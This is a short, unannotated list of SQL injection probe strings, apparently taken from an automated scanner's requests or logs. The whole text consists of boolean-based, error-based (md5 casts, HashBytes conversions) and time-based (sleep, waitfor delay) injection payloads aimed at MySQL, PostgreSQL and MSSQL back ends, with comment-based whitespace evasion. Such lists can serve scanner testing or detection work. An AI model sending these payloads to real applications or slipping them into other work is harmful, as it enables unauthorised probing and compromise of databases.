|
|
123456'and'm'='m
|
|
|
|
123456'and'z'='z
|
|
|
|
123456'and(select'1'from/**/cast(md5(1079824471)as/**/int))>'0
|
|
|
|
123456'and(select'1'from/**/cast(md5(1499627123)as/**/int))>'0
|
|
|
|
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
|
|
|
|
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
|
|
|
|
123456'and(select+1)>0waitfor/**/delay'0:0:0
|
|
|
|
123456'and(select+1)>0waitfor/**/delay'0:0:2
|
|
|
|
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1060533795')))>'0
|
|
|
|
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1142336381')))>'0
|
|
